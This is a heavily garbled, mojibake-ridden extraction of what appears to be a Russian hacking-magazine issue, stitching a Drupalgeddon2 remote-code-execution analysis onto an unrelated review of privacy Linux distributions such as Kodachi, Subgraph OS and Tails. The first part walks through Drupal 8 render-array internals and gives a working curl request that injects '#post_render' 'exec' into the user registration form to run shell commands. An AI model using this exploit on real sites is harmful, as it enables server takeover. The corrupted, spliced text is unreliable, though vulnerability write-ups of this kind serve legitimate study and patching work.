87:牋牋牋牋爄f�($key�!==�''�&&�$key[0]�==�'#'�&&�!in_array($key,�$
whitelist,燭RUE))爗
88:牋牋牋牋牋爑nset($input[$key]);
89:牋牋牋牋牋�$sanitized_keys[]��$key;
90:牋牋牋牋爙
91:牋牋牋牋爀lse爗
92:牋牋牋牋牋�$input[$key]�爏tatic::stripDangerousValues($input[$key
],�$whitelist,�$sanitized_keys);
93:牋牋牋牋爙
94:牋牋牋爙
95:牋牋爙
96:牋牋爎eturn�$input;
97:牋爙
???�?�??�?�??�?????�??????�?,�??????�?????�???��????�??��??,
???� ????,� ???�????�??� ????�???�???� ???� Drupal� Render� API.� ????� API� ???
???�??��???�??�??�??燙MS��?????�???�?�??�???�??????�????�??????�
???�??�??�??��??????燞TML.
???�??,� ???�??� ???� ???�????� ???�?????�???� ????�???� ?� ??????�??� ??
???�??,�??�??�?��???�??�??�??�????�?�??�?�??�????�?.�??�??�???�
?????�?� ???????� ???�?????�?� ???� ????�????� ???�????� ???� ??????� ??????�
?????�???�???��????�?????�?�??�?�??�????�??�??�?�???.
?燫ender燗PI�??�???�??�?�????�??????,�??�??�?????�??�???�(Render?
able燗rrays).�??�??�???��??�??�????�????,��??????�??�??�?�???????�
???��?,�????�???�??�??�??�??�?�???�??�???�(???????�???)�??�????�
??????�?.� ???�?� ?� ???�????� #� ?� ???� ???� ???� ????�???� ???� ?????�??�???�?,
???????�????�???�??�????�??.
??�??�??�?� ??????�??� ???????�??� ???�??�??????�??� ?????� ????� ?????�
?????,� ???�????� page,� form,� html_tag,� value,� markup� ?� ????� ?????�??.
????�???�??�?�??�??�???��??�????�??�??????�????�?燜orms燗PI.
?�??�??�??�????�??�????�?�???�??�?�???�???,�??????�??�???�???�
??� ??????�?� call_user_func.� ???�????,� ?� ?????� ????�??�?� #pre_render,
#post_render,� #access_callback,� #submit,� #lazy_builder,� #validate.
???�?????�??�??�??�??�??��??�???�????� #post_render.�???�??�?�???�
??�??�??�?�??�???��??�?燫enderer.php.
/core/lib/Drupal/Core/Render/Renderer.php
500:牋牋爄f�(isset($elements['#post_render']))爗
501:牋牋牋爁oreach�($elements['#post_render']燼s�$callable)爗
502:牋牋牋牋爄f�(is_string($callable)�&&爏trpos($callable,�'::')�==�
FALSE)爗
503:牋牋牋牋牋�$callable��$this?>controllerResolver?>getControllerFr
omDefinition($callable);
504:牋牋牋牋爙
505:牋牋牋牋�$elements['#children']�燾all_user_func($callable,�$
elements['#children'],�$elements);
506:牋牋牋爙
507:牋牋爙
??�???�??�??�?�??�?�????�??�?,�??�???�???????�???�??�??�?????�?
?� ???�???� render,� ???�?� ????�???� ????� ????�??� ?� ???�???� ???????�???.
???�??�??�?????�???�?�??�?�?�??�??�??,�??????�??�????�???�??????�
???�???� ????�?????�?,� ???� ???� ?????�??,� ???� ???� ???�??�??�??� ???????� ????
??�??�?.
/core/lib/Drupal/Core/Render/Renderer.php
182:牋爌ublic爁unction爎ender(&$elements,�$is_root_call�燜ALSE)爗
...
194:牋牋爐ry爗
195:牋牋牋爎eturn�$this?>doRender($elements,�$is_root_call);
...
207:牋爌rotected爁unction燿oRender(&$elements,�$is_root_call�燜ALSE)
{
Drupal� ????�??,� ?� ?????� ?????� ????� ?????� ??????� ???�??�?????�??� ???�?,
?????�?� ??� ????� ????� ??????� (?� ????� ??� ??????� ??� Check� Point� ???� ???�???
???� ??????� ??� ???).� ??� ???�?� ?????�??�??� ??????� ????�?????�?� ????� ????�
????????�??�?�?�??�?????�??�??.
???�?�????�??�??�?????�???�?????�?�燚rupal�5.0
??�??�??�????�???????????�??�????,�???�???????�?�??�??�??�??�????
????�?.
???�??�?�??�????�??�???�???�?????�?
??� ????�??�?� ???�?� ???�???� ????�???� ?????� uploadAjaxCallback� ????�?
ManagedFile.
/core/modules/file/src/Element/ManagedFile.php
172:牋爌ublic爏tatic爁unction爑ploadAjaxCallback(&$form,燜ormSt
ateInterface�&$form_state,燫equest�$request)爗
??�???�??�????�?�???????爀lement_parents��??�???.
element_parents=user_picture/widget/0
??�?????�???�?�??�???�?????�???�??�?.
/core/modules/file/src/Element/ManagedFile.php
174:牋牋�$renderer�燶Drupal::service('renderer');
175:
176:牋牋�$form_parents�爀xplode('/',�$request?>query?>get('elemen
t_parents'));
??�????�??� ???�??� ???�???�???� ??� ???�?� ?� ??????�???�?� ???� ??????�??
???�??�?�???????�??�?��??????燦estedArray::getValue.
/core/modules/file/src/Element/ManagedFile.php
179:牋牋�$form�燦estedArray::getValue($form,�$form_parents);
/core/lib/Drupal/Component/Utility/NestedArray.php
69:牋爌ublic爏tatic爁unction�&getValue(array�&$array,燼rray�$parents,
&$key_exists�燦ULL)爗
70:牋牋�$ref��&$array;
71:牋牋爁oreach�($parents燼s�$parent)爗
72:牋牋牋爄f�(is_array($ref)�&&�(isset($ref[$parent])爘|燼rray_
key_exists($parent,�$ref)))爗
73:牋牋牋牋�$ref��&$ref[$parent];
74:牋牋牋爙
75:牋牋牋爀lse爗
76:牋牋牋牋�$key_exists�燜ALSE;
77:牋牋牋牋�$null�燦ULL;
78:牋牋牋牋爎eturn�$null;
79:牋牋牋爙
80:牋牋爙
81:牋牋�$key_exists�燭RUE;
82:牋牋爎eturn�$ref;
83:牋爙
?� ?????� ??� ????�?� ???????�??� ???�??� ?????�???�?� ???�?????� ???????�???
???�???.
/core/modules/file/src/Element/ManagedFile.php
193:牋牋�$output��$renderer?>renderRoot($form);
/core/lib/Drupal/Core/Render/Renderer.php
129:牋爌ublic爁unction爎enderRoot(&$elements)爗
130:牋牋�//燚isallow燾alling�:renderRoot()爁rom爓ithin燼nother�:
renderRoot()燾all.
131:牋牋爄f�($this?>isRenderingRoot)爗
...
138:牋牋�$output��$this?>executeInRenderContext(new燫enderContext(),
function�()爑se�(&$elements)爗
139:牋牋牋爎eturn�$this?>render($elements,燭RUE);
140:牋牋爙);
??�???�????�??�???�???�?�??????�??��??�??�???�???,�??�??�???�??.
???�????�??�???�??�?�????燦estedArray::getValue.
/core/modules/file/src/Element/ManagedFile.php
176:牋牋�$form_parents�爀xplode('/',�$request?>query?>get('elemen
t_parents'));
...
179:牋牋�$form�燦estedArray::getValue($form,�$form_parents);�#�?�
?????
??�????�?????爑ploadAjaxCallback�??�?�??�????�??�???
???�??� $form_parents,�??????�??�?�??????�?� element_parents,�??�??
???�??�?????� ?????� ?� ???�???� ???�??�?� ?� $form� ???� ???�???�??�?� ????�
?????�?.��???�??�??�?�??�????�??�$form["user_picture"]["widget"]
[0].�??�?�??�???�???�??�???,�??�?�??��??�?????�????燯nix.
???�?� ????� ??� ????�?� ???�???� ????� ????� ??� ???�???� ???�??�?,� ????�???
???� ????�?� ???�?.� ?� ????�?� ???�????� ??� ??� ????,� ???????� ???�?� ????�?
?�??�?�????�??�??�???�?????�?,��???�?�?爉ail�爊ame.�???????爊ame
????�??�?�???�???????�???�??�??,��??� mail�?????��????�????.�???�
????�?� ??????�???� ????� ????????� ?� ???�??� ?� ????????� ?� ?????�??� ???�?
????�?,�?????�?????��????�?.
???�????�???�???��??�????�??????�?爉ail
$form�>燗rray
(牋
牋�...
牋燵account]�>燗rray
牋�(
牋牋牋燵#type]�>燾ontainer
牋牋牋燵#weight]�>�10
牋牋牋燵mail]�>燗rray
牋牋牋牋牋�(
牋牋牋牋牋燵#type]�>爀mail
牋牋牋牋牋燵#title]�>燚rupal\Core\StringTranslation\TranslatableMar
kup燨bject
牋牋牋牋牋�...
牋牋牋牋牋燵#name]�>爉ail
牋牋牋牋牋燵#value]�>燗rray
牋牋牋牋牋牋牋�(
牋牋牋牋牋牋牋牋牋燵#test]�>�
牋牋牋牋牋牋牋�)
牋牋牋牋牋�...
牋牋牋牋牋�)
牋�)
)
??�???,�???�?�??�??�� element_parents�??�????� account/mail/#value
?� ???�????� ???�???�??� ???�?� ????,� ???� ????�???�?� ?????� NestedArray::
getValue,�??????��?????�???�???????�??�$form��?????�??????�???.
????�????�??�?????�???�??�??�?��??????�??????�$form
??�???� ????�???�?� ???�?????� ????�??� #post_render� ?� ????�?� ????�
???????�???� ??� ???� ????�?.� ????� ???�???� ???� ?????�????� ???�???�???
?�????�??�??�???�??�??�?�??�???.
mail[#post_render][]��'exec'
????�?� ???�?� ???�???� ???????�?� ???� ?????�?.� ???�????� ??� ?????� cal?
l_user_func,��??�???,�??�??�????�?�?�??�??�?�#children.
/core/lib/Drupal/Core/Render/Renderer.php
500:牋牋爄f�(isset($elements['#post_render']))爗
501:牋牋牋爁oreach�($elements['#post_render']燼s�$callable)爗
...
505:牋牋牋牋�$elements['#children']�燾all_user_func($callable,�$
elements['#children'],�$elements);
??�??�?�???�?��??????.
mail[#children]��'uname�a'
??�???�????�??�??????�????�??�?.
???�?????�??�??�??�??�??燫CE
?�?????�??�?�??�????�???�????!�?)
??�????�???�????�??燫CE????�??�?�??燚rupal�5.0
??�???�??????�??�??�??�?�??�???��???�??�??��???�????�???�??
?????�?燾url.
$燾url�s�X�'POST'�?data�'mail[%23post_render][]=exec&mail[%23chil
dren]=pwd&form_id=user_register_form'�'http://drupal.vh/user/
register?element_parents=account/mail/%23value&ajax_form=1'
???�??�??��???�?!
??????
??� ???� ???� ???�?� ??????�????� ???�??� ???�??�?� ??� ????� ????�???� ?????�
??????�??��??�?�???�???�???,�??�?�????�???�???�??�????燱hiteWin?
terWolf� ????�??????� ????� ?� ????� ?� ???�?� ?� ???� ?????� ???�?????� ???�????
???�??�??�??� Drupalgeddon.� ?????�?,� ???� ?� ???�???�?� ???� ???�??????� ????�
??????� ????�?????�??�???� ????�?????�?� ?????�???� SQL????�????.
WhiteWinterWolf�?�??????�?�?�??�???,�??�?�??�?�???�?????��??�???�
???� ?????�????� ??????� ???� ??????� ??????�????� ???� ?� ????� ??� ????�????�
??????��??�???.
????�???� ???�??�?� ???� ????� ???�???�??� ???�??� ??� Drupal,� ??� ???�?� ????�
????�???�?� ?� ???�????� ???�??.� ?????�???� ???�???�????�?� ???� ???�?
??� ?????�????� ???�??�?,� ?????�?� ?� ????�??� ?????�?� ?????� ???�???
???燱AF???��?????�???�??�?.�???�?,�???�?�?????�????????�?,��???�
?????�??� ????�?� ???�????�???� ??????�?� ???�?� ???� ????� ????�??�??� ?????
???�??�?.�???��??�?�??�??????�?�??????�??�??�?????�??�?????�???�
???� CMS.� ???� ???�?� 7.x� ???� Drupal� 7.58,� ?� ???� 8.x� ?� Drupal� 8.5.1.� ???� ????�
???????�?????�???.
???�????�???
???????????
??
84ckf1r3
84ckf1r3@gmail.com
????????????
???????????
????????�??????????�??�?????�?????????
?�?????�?�?????
???�????,�?�??�???�????�?�??�??�???�??燭ails�??�???
?????�????� ???� ????�????.� ??� ???� ??� ?????�???�??� ????�
????�???,� ???�??�??� ??????� ????� ???�???�???� ?� ????
?� ??????�???� ????�?� ????�????�??� ???�????�?.� ?� ????
??????� ??� ???�??� ????� ???�????�??� Tails,� ???�??� ?� ??� ????�
???�???�??�???�??�??�????�?.
WARNING
???�???�??� ?� ???�??� ???�??�????� ????�????�?
?????�?????� ??� ????�???.� ?????� ????,� ???�???�
?????�????�?�?�?????�?�????�??????�?�????�
?????� ?� ????� ???�????.� ???�?????� ??.� ???�??
XKeyscore.� ?� ???� ?� ???� ???�????� ?� NSA� ?� GCHQ
???�?�???????�?爋nion??????�??.
????????????�??????????
????�??� ???????????�???� ?????�??????�?� ???�???� ???�???�???� ???� ????
???�?,�????�???�?�?�?????�?�??�??�??�???��????�???�??�??�??.
????�?� ???� ???�??� ????� ???�???,� ?� ??????� ???�??� ???�??� ???�????� ????
?????� ????�????�??.� ???� ????� ??????�??� ????� ???????� ????�???,� ?� ???????
???�??�???�?�?????�??????,�??�???��??�??�??�??�????�??�????�??
??????�??�??�????.
???� ????�??� ???�???�????� ???� ???�??�???�?� ???�?� ???�?� ?????� ????,
???�???�?� ???�??????� ???�?� ???�??� ???�?� ???�??�??� ??� ???�???�??� ????�
?????.� ????�??????� ???�??�????� ???�???� ??� ???�?????� ???�??,� ???????
????�???�?�?????�??��??????�???�?:
? ??�??�??????�??� ???�????� ???�??� ??????� ?� ?????� ???�???�??� (?� ????�
???��????�????�?�??�??�???�?????)�??�??,�?????�????�??�?�???�
??�???�??
? ???�??????� ???� ???�??,� ???????� ???�?� ???�?????� (???�????,� ????�????�
???� ??????�?,� ???????�?,� ????�??�????�???,� ???�??� ???�??� ???�?
?�??�???)?
? ???�????�?????�??�?�??�????�????�????�??�??�??�(??????�?�???�
?????�????��?�??�????�??�??�?�????�????�??�???�????�??�????,
??????�?�?�????�????�??�??�??????�??)?
? ???�????�??�???�??��?????�??�?????�??�??�????��?????�??�???�
?????�??� ??????� (sandbox,� Xen,� VirtualBox� ?� ???�??� ?????�??� ???�?????�
?????)� ???� ???�????� ????�??????� ?????�???�????� ???� ??????�??� ????�
?????
? ???�?� ????� ???� ???�??�???� ???�??�?� ??� ???�??�??�???�?� ???�??�??
?�??�????��?????�?�??�?�????�???�????�????�??�??�???
? ?????�??� ???�???�???� ?????�????� ??????� ??� ?� ???�???� ???�???�?
?????�??� ???�??�???�?????� ???�??� ??� ???�??� ????�?� ???????�???� ????�
????�??�????�???�?????�????
? ???�??� ???�???� MAC?????�?� ???????� ??????�??� (????�?� ???� ???�???�??
???�?�??�?�??�????)?
? ???�??�??�????�??�??�??營P?????�?�(???�????�??�?????燰PN,燼nti燚NS
leak,� ????�??�??� ?????�??,� ??????�??????� ?????�?� ????�?????�????
?�??????�??�??�?????,�???�?????�??�??�???�???�??�???�??�????
Tor��.�.)?
? ??�??�????�??�??�??�??????�??�?�(????,�??�?,�????�??�???)?
? ??�??� ????�????�??� ???�???�??� (????�???�??�??� ???�???�?� ???????�
???????� ???�?????� DNS????�????,� ????�???�??� VPN,� ???�???� ????�?,� Tor,
I2P,燜reenet).
??�???�???,� ???�??� ???�???�??� ???�??�????� ???�?� ????� ????�???�??� ?� ??
???�??�????�?�??�??????�?????�???�??�??�??�?��????�???�?,�?�??
?�?�??�???�?�?�???�???.�??�??�??�??��??�??�???�?�??�???�?�???�
???�????�????�???�??�?�???�??�?�??�????�??�????.
INFO
??� ??� ?????� ???�??????� ?� ??????�??�??� ????�
????,� ???????� ???�??� ??� ???� ?????�????� ?????
???�???.� ????�????�?� ???�????�???� ???????�?
?� ????�?� ?????�??,� ???� ??� ?????�??�?� ???????,
???�?????� ???�???�???� ?????� ?????�???
????�?.
KODACHI
?� ????�??� ?????�?� ??� ???�?????� ???�??�???�?� ???� ?????�???,� ?� Kodachi
??????�??�???�?� ???� anti?forensic????�????�?,� ???�????�???� ???�???�???�
?????�??� ???�??� ???�?� ??????�????� ?� ???�????�??� ??????.� ???�????�?
???� ???� ????� ????� Debian,� ???�???�????�??� ??� ???�??�????.� ?� ??????� ??
????�????�??�????,�??�??????�??燭ails.
???�?????�??�???�??�??�??� Kodachi�7�???�?????�?��???�?�????�
????�???.�??�???�???�????�?�??�?�(???��???????????�????�??�???
??�????�????),�??�????�???�?�?????�?.
?�????�??�??�?�?????�?�??�?�??燢odachi�???�??�???燲fce,��????
?????????� ???�???�???� ???�???�??� ???� macOS.� ???�??� ???�??�????� ?� Tor
?燰PN,��??�?�???�???�??�??????�??????�??�??�????�??�???�??????�?
?�?????�????�???�??�???��???�???�???�??�?�?�??????�??�?.
???�????�??�????????燢odachi
???�?� ???�????� ???�??�?????� Kodachi� ?� ???�???�???�??� ???�?????�????
???�???�????燭or�燰PN,�??�??�??�???�??燰PN�??�??�??�?.
??�???燢odachi燰PN
????�燢odachi�??????�???�?�??�??�??燚NScrypt��??�??�????��????�
????�??� ???�???,� ???�?????� ???�???� ?� ???�????� OpenDNS� ??????�?
???????�??�??� ????�????�??.� ???� ?????�???� ?????� ???� ?????�??� ????�??,
???�?燚NS爈eak��??????�??�??�??�?????��???�?�??�????�??�??�???.
Kodachi燚NS爐ools
???�??� ????�??� Kodachi� ?� ???????�????�??� Multi� Tor� ???� ???�???� ???�?
?????�??� ?????� ?� ???????� ????�????�??� ????�?� ?� PeerGuardian� ???� ????�
?????� ???�??� IP?????�?� ?� ?2???????� (?� ???�?� ???�????�?� ???????� ?????
??�???�???�??�???�???�?).
PeerGuardian
??�???� PeerGuardian,� ?� ?????�??� ????�??�???� ??????�???�?� Uncomplicated
Firewall�(uwf)��??�????�??�??�??�??爂uwf.
???�???�??�燢odachi�??�?�??�???�???�??�?????�????�????�?????�
????� Firejail� (?� ???� ??� ???� ???�??�???�?).� ???�??�?� ???????�???�?� ??????
???�??�??�??�?,�??�?��??�??�??�?.
Firejail爏andbox
???�???�???� ????�?� ?????�?????�?� ?????�??�?� ????�????�??� (TrueCrypt,
VeraCrypt,� KeePass,� GnuPG,� Enigmail,� Seahorse,� GNU� Privacy� Guard� Assistant)
?�?????�??�??�??�(BleachBit,燦epomuk燙leaner,燦autilus?wipe).
??�??�??�??�????�?????�??�??
?????�????�??�?????�??�???�??
?� Kodachi� ?????�???�?� ??????� ??� ???�?� ???????� ?????�??� ???????�????.
??� ???�?� cold� boot� attack� ???�?� ???�????� ???�??�?????� ???�??,� ?????�?
(?????�?� ?????)� ???�??�????� ?� ???�????�??� ??????.� ???�?� ???�?� ????�???,
Kodachi�?????�?�??�????�??�?????�??�??�???�??�???�??�??�??????
?????�??�?.
???�??�??�?� ???�??�?� ?????�???�??� ???�???� ?� ???�???� Panic� room.
?� ???� ????� ????�????� ??????�??� ???�??� ??� ???�?� ?� ?� ???�????�??� ??????,
??????�??�?�??????�??�??�????,�??�????�?�???�?�(xtrlock)��???�?????�
??�??�???�???�??????�??�???�???.
??�??�?????�??
Kodachi� ??????�?� ?� USB?Flash� ???� ?????�??� Live????�??�????� (???�?
??�????????�??�??�?�?????�??�????�??�?),�?�??�??????�?�?????
?????�???� ??� ?� ???�???�?� (????� ??????�??� ????????� ??).� ?� ?????� ???�??
??�???�????�?�???????�?�??�???�???????��??�??� kodachi��??????
r@@t00.� ???�?� ??????�?????� sudo,� ???�?� username� root� ?� ?????� ??� ??????
r@@t00.
MOFO燣INUX
???�??�??�??�???�?????��????�?�????�??????�??�?�?�???燯buntu.
???�?牜??�????�?粻???�???�???�?燬oftEther燰PN�燨penVPN��???�???�???�
???� ????�???�???� ???�????�?� ?????� ???�???� (??� ???�?????�?� ???�??�??
?�???)�??�???�??�??�????.�??�???�???�?�???�?�???,�?�??�?爂oogle.?
com��??�??�???�??�??�????�?????.
???�???�?燨penVPN
??�???燭or�燰PN,燤OFO�??�????�???營2P�???燣antern�燩siphon,�??�???�
????�???�?.�???�?,�??�??燩siphon�??�??,��燣antern�??�???�???�??�???�
???�?�?�??�???�??�?????�??�????�???�?�0�????��????,�?�???�?
???�?�?????�???�??�???�??.
Lantern�燤OFO
???�?� ??� ???�????�???� ????� ?� ????� ???�??� ????�??�???�???� ???�??
Freenet� ?� ????�??�????� ???�??�??� ????� ?� ???�??�????�??� ???�???�?
?????�????�??� ???�??.� ?� ???� ????� ????� ???�?� ?� ??????,� ???????� ?????�
?????�?�????�????�??�?????�???.
Freenet
?� MOFO� ?????�???� ????�?� ??� ????�??�?� ??????� ???�??�??� ???�??�????�??
???�????�??�???營PFS�(Interplanetary燜ile燬ystem),�??�?????�?�???�?�???�
???????� P2P.� ???�???�?� IPFS� ???�?� ???�???????� ??????�??� ???�?� ?� ????�
??????�??�?,�??????�?�???????�????�??�???�??�(??營PFS�?�???�??�??�
????).� MOFO� ???�?� ???�????�???� ???????� ???�????� Cjdns.� ?� ???� ???????
???�?�??�???�??�????�??營Pv6?????��??�?????�?�??�???.
??�????�?營PFS
????�????�????�??�?????�??�??�??�??�燤OFO�???�?????�?� eCryptfs�
???�?????�????� ???�????� ???�???� ?� ???�?????�?� ??� ????.� ???� ??????�?
??????� ?????�??�???� ??� (ext3,� ext4� ???� XFS)� ?� ??� ???�???� ???�????� ????�
?????�???�??�???.
????�???�??�??????
??�??�?????�?� ?� MOFO� ???�??�????�???� ???�???� ZuluCrypt� ?� ???�??�???
???�???�???�????�??�????燭rueCrypt�燰eraCrypt.
ZuluCrypt��???�???�????�????�??�????
??� ??????� ???�?????�??� ????� ???�????� ???�??� mofolinux?6.0� ??� 18� ????�
????�18�???.�?�???�????�?????�???�??�??�???�?�????.
SUBGRAPH燨S
??� ????� ???�???�???� ??� ??�???� ?� 2016� ????,� ?� ?� ???� ???� ????� ???� ?????�
??????.� ???� ???� ???� ?????� ?????� ????� Debian,� ???????� ???????� ???�????
???�???�?�???,�?�?�?�????�????.�????�???�??,�??�燬ubgraph�?????�
??�???�?????,��??�???????�??�??�????�????�?�??�?.
??�????�????�??�??�???�燬ubgraph燨S
???�?????� ???�??� ???�??� ?� ???�????�???� ???�?� 2017� ????.� ???� ?????
?????�???�?� ?� Live???????,� ??� ???� ???�????�??� ??????� ????�?????�?� ?????�
???�?�?�??�???�???.
???�????� ???�??�????� Subgraph� OS� ?� ???�???� ?????�?� ???�???�??
?� ?????�????� Oz.� ???� ???�???�?� ???�?????� ???�???�??� ????� ??� ???�?� ?� ??
????????�??�???��??????�???�??????�???��??�?????�?�???�???�??
?�??????爏eccomp?bpf,�??�?�??�??�???�?�??�??�???�??燜irejail.
??�?� Subgraph� OS� ???�???� ?� ???�???� PaX/Grsecurity.� ???� ????�???�???
???�??� ?� ???�??� /proc,� ???�???�?� ?????� ???�???� ???�????� chroot(),� ?????�
????� ?� ????� ?????� ????�??????� ???�???� ???�?????�??� ???????�?� ?????�
?????�??燗SLR,�?????�?�???�??�???�????�???��??�??�???�?�?????�??
???????�??????.
Subgraph燨S�???�??�???�???�?�????�????�??�??�??,�??�?�????�??
???�??�??????/???�???�??�???�??�???�??��???,�??�????�???�???�???�
???�??�?燳ubiKey��???�???�???�?????�?.
YubiKey燩T�燬ubgraph燨S
????�???�??� ???�?� ??????�?� ?� ???????� PGP,� ?� ?????�????� ????�??�??
???�??�???�???�??�???�????�????�????�????�??�??�??�???燭or.
??�????�????�??燬ubgraph燨S營nstant燤essenger��??�???燙oyIM��???�
???�???燲MPP,�??????�??�?�?????�?�????燭or�?�???�????.
???�??�??�??�??�???燬ubgraph燨S
??????????? ??????
?
? �?????�?????
???????????
?? ????????????
???????????
????????�??????????�??�?????
??????????��?????�?�?????
???�????�??�??�??�??�????�??�??�????�????燨nionShare,�?�??�?�??
??�??�???�?????�?���??�??�??�???燣inux.
OnionShare�燬ubgraph燨S
??�??�??�?????�????�???????�?,�??�燬ubgraph燨S�??�?????��??�???�
????�???�?�??�??�??�?,�?�?�????�???�??�??�???�???�??.�?�?????�
?????�????�???�????�???�?�???�?�???�????�??�??�???�??.�???�??�??
???�???�??,� ???????� ????�???�??�?� ??????�?� ?� sandbox,� ??????�??,� ?????�
???� ???????� ???�?� GNOME,� ?????�???�?� ???� ????�??� ???�???�??� ?� ?????
???�??�??�??�???�?燣inux.
??�??� ????�??�???� ?????�???� ???�??�??� ?????� ???� ???�??�???�??� ??.
???�????,� Tor� Browser� ?????�???�?� ?� ?????�???,� ??� ???�?� ???�??� ???�??
?� ??????�?� ~/Downloads� (???� ???�??????� ???�????�??� ???�??).� ????� ?� ????�
???�?� ?????� ????�???�?� ????� ?� ?????�??� ???�??� ???�??� ??� ??????�?????
???� ?????�?� ???�??�??,� ??� ???�??� ????????� ?� ~/Downloads� ???,� ???� ???????,
????�??,�??�????,�???�??�???� .desktop.��????�???�??�?�????�???
?????� ??????,� ?� ??� ?????� ????????,� ???�?� ????�???????� ?????�??� ?� ???????
~/Downloads��???�??�?�???.��??�??�??�?????�??�?�?�燬ubgraph燨S
??????�???�?� ??????�???� ???� ?????�???� ???�????� ?????�??� Nautilus,� ??
??????�????�????�??�??�?�???�??�???.
?� ????�?� 2017� ????� ????� ??????�???�???� ???�???�???????� Micah� Lee
?燡oanna燫utkowska�(???�?????�???燪ubes燨S),�????�??� ??�???�???�??�??
Subgraph燨S.
HEADS
????�?????�?�????�??�???�???�?????�???�???�?�??�� heads�?�?????�
???�??�?.�燜AQ�?�??�?�?????�?????�?�???�??�???�????�??�????�???:
�?????�??��??�??�??�.�?????�??�???�?��??�?�????�????�?????�??.
???�??� ???????,� ???�???�???� ??� ?????� ????�???�?,� ?� ??????� ???????�????
??�??�???.
??� ??????� ??????�??� ??????� ??� ???�????�??� ???�?� ????� ???�????� ????�
???� 0.4� ??� 26� ???�?� 2018� ????.� ???�????�?� ???� ????� ??� ????�?� Devuan,
???????,� ?� ????� ???�???,� ????� Debian� ?� ???????� ???�????�????� SysVinit
????�?燬ystemD.
Heads� ???�????�???� ????�?� ???�??�?????� ????�??�???� i386,� x86_64,
?????�?� ??� ?????�??� ???� ??????�??????� ??� ??????�??� ?????�??� ?� ???�???�
??????� ARM.� ?� ?????�??� ???�????�??� ???�??�?� ?� heads� ????�???�???� ????�
?????� ????�??� ?????�??� Awesome,� ?� ???????� ?????�???�?� ???�???
???????�??�???�?��??�????�?.��????�??�????�??�??�??�??�??�?????
???�????燨penbox.
??�??� ???�??� ?� heads� ?????� ?????�??.� ????� ???�???,� ???�?,� ???,� ?????�
???????�??�??????��?�???�???�???�??�?????��??�???�?????�???�
???.
??�???�???爃eads
?�??�??�??�???,�????�??�????�????燭or�????�???�?�????�??�??,��???�
???�??�??�?�???�?????�?�???�????�?�??�?.
Tor????�???
???�????�??�??�????爃eads��??�????�??????�??�燭or��?????�??????
????�?� ???�??�???� ????�??�??�?� ????�??????.� ????� ???�??� (?� ??� ????�?
???�???�??)�爃eads�???�????燭or.�???爃eads�??�?�??�????�燭or.
??�??�?????�?� heads� ?????� ???�?????� MAC??????� ???� ????�?,� ?� ??????
????燩ermakey�???�???�??�?�????�???�?????�?�??�??�???�??�????�??
????�?� (?????�?� ??� ???�??� ????�???� ???�?).� ?????�???� ?????� ??????�??
???�?,� ????�??� ????�???�??�???� ????�?� ???� ????�?� ???�???�???.� ???� ??
???�???�?�???�???�?????�???�??�??�???.
??�???爃eads
??� ????�????� ????�??� ??????�???� ??� ???�??�???�?.� ?� Openbox� ???� ????�
????�???� ??� ???�?� ??� ????�?� ???�???� udiskie� ?� ???�??� ??????� ????�?.� ????�
????�???�??????�?�?�??�??�??�?�??�????,�????�?�?????�??��??�???�
????.�???�???�??�???�?�??��???�??�???�????�??�???�????,�??????
????�????��??�???�?????.�???�???�????�?��??�????,�?爃eads�??�??
?????�????�燣ive???????��??�??�??�??�???�??�???�??�????燭or.
??�???�??�?�???�?�??�?.�??�????,�??�?????�??????燞exChat�????�
??�??�??�???�?�?�??�??�??????�??�??????.�??�????�????�?�??????�
????�?�????�????�??�???燭or��???�???�??�?�???�?�???.
??�?�?�??�???
?爃eads�???�????�???�??�??�??�????�??�燭or,�?�?�??�?�??�?�?????�
???????�?.
??�???�??�???�?�燭or
TAILS
Tails�(The燗mnesiac營ncognito燣ive燬ystem),�??????,�????�????�???�??�????�
????� ???� ???�??�???� ???????�????� ?� ????�?� ????????????�???.� ??� ??� ???
??????� ?� ???,� ?????�?� ??� ?????� ???�??� ???�???� ??� ???�?� ???�????.� ?� ????�
????�?,� ??� ????�????� ][� ???�??�???�?� ?� ???,� ???� ????�?????� Tails� ??� ????�?
?� ???� ??????�?????� VirtualBox� ?� Tails.� ???�??� ??� ?� ?????� ??????� ???�??� ????�
???�6.2�?��???�?�18�???.
???�????�?� Tails� ?� ???� ??????�???� ????� Debian� (??� ????�?� ???�???�??
???�?)� ?� GNOME� ?� ?????�??� ???�????�??� ???�?.� Tails� ???�????�???� ???�???
????,� ???�?� ???�??�????� ???�??� ???�???� ???�??�????� ?� Tor� ?� ???�?????
MAC??????�??�?�??�???�?.
??�????�?�????�?燭ails
??�?????�??�??�??�???�?燭or�?????�?�??�???�?�????,�?�???�??�?�???�
???�???�???�????燨nion燙ircuits.
???�?????�??????�??�??�??�???�??
??�????�??� Tails� ???????� ???????�?,� ?� ?� ????????� ???� ???�?� ???????�????.
?� ???�??� ???�??� ????�???�???�?� ???�?� ???�????�??,� ?� ???�??� ?????�???
?????��??��??�???�?�??�????�??�??�????�?.
???�???�???�?,�??燭ails�????�??�?????��??�???�?��??�??�????�?,�??
?� ?????� ???�??� ??� ?????�???�?� ???�??�????,� ???�???�?� ??� ?????� ??????�?
??�??????�????�???????�?.
??�??�??�??�????�?????�???�???�燭ails�???�??�?�??�???�(???�????
??�??�??�??�?????�??�?????),�?�?�???�?�?????�???�???????�????
????�?�?????�???�?燚ebian.�?�??�??�??�??�?�??�???�(?????�??�???�
?????�????燭or),��??�?�????�????�???�?�??�???�????�??�????�(????,
?????�?,� ??� ??� ???�???� ?????�????�??� ???�??� ??� ????�?� ?� ???????
?????�????�??�???).
???� ???�??� ???�??�?� ?� ???�????�?� ?� ??� ???�???�???� ??� ???�?,� ???�?
??�????????�??�??�(?????�?�???�?�?�?????�????�????�????�??�???�
???).�??�??�??????燭ails�???�?�??�??�??�???�??�???,�??�?�?�?????�
????� ??� ???�???�??� ???� ???�?� ???????� ?????�??� ???????�????.� ??????
??� ???�??�???� ?????�??????� ????�?,� ???�?????�??� MAC?????�?� ??????�?
(??????�?� ?� ???� ????�??� ???????� ????)� ???�?� ???�???�??�?.� ????� ???�??,
?�??�??�?燚NS????�???,�???�????�?????�?�????燭or.
???� ???�??�???� ???�??�??� ??????� ?� ??????� ?????�???� ???�???� ?� Tails
???????�???�?� ???�???� Gobby.� ???� ???�????�???� Unicode,� ???�???�?� ????�
?????�?� ???????�??� ???�??� ????�????�???�??� ?� ??????�??� ???�??� ?????�
??????�??�??,�????�?????�??�???�???�?????�???.�?�??�??�??�?�???�
?????�??燱indows�爉acOS.
???�??�???�??�??�??�?????�燭ails
???�????� ??� ?????�??� ???�???� (???�???� ???� ???�?� ??????� ???),� Tails� ??� ???
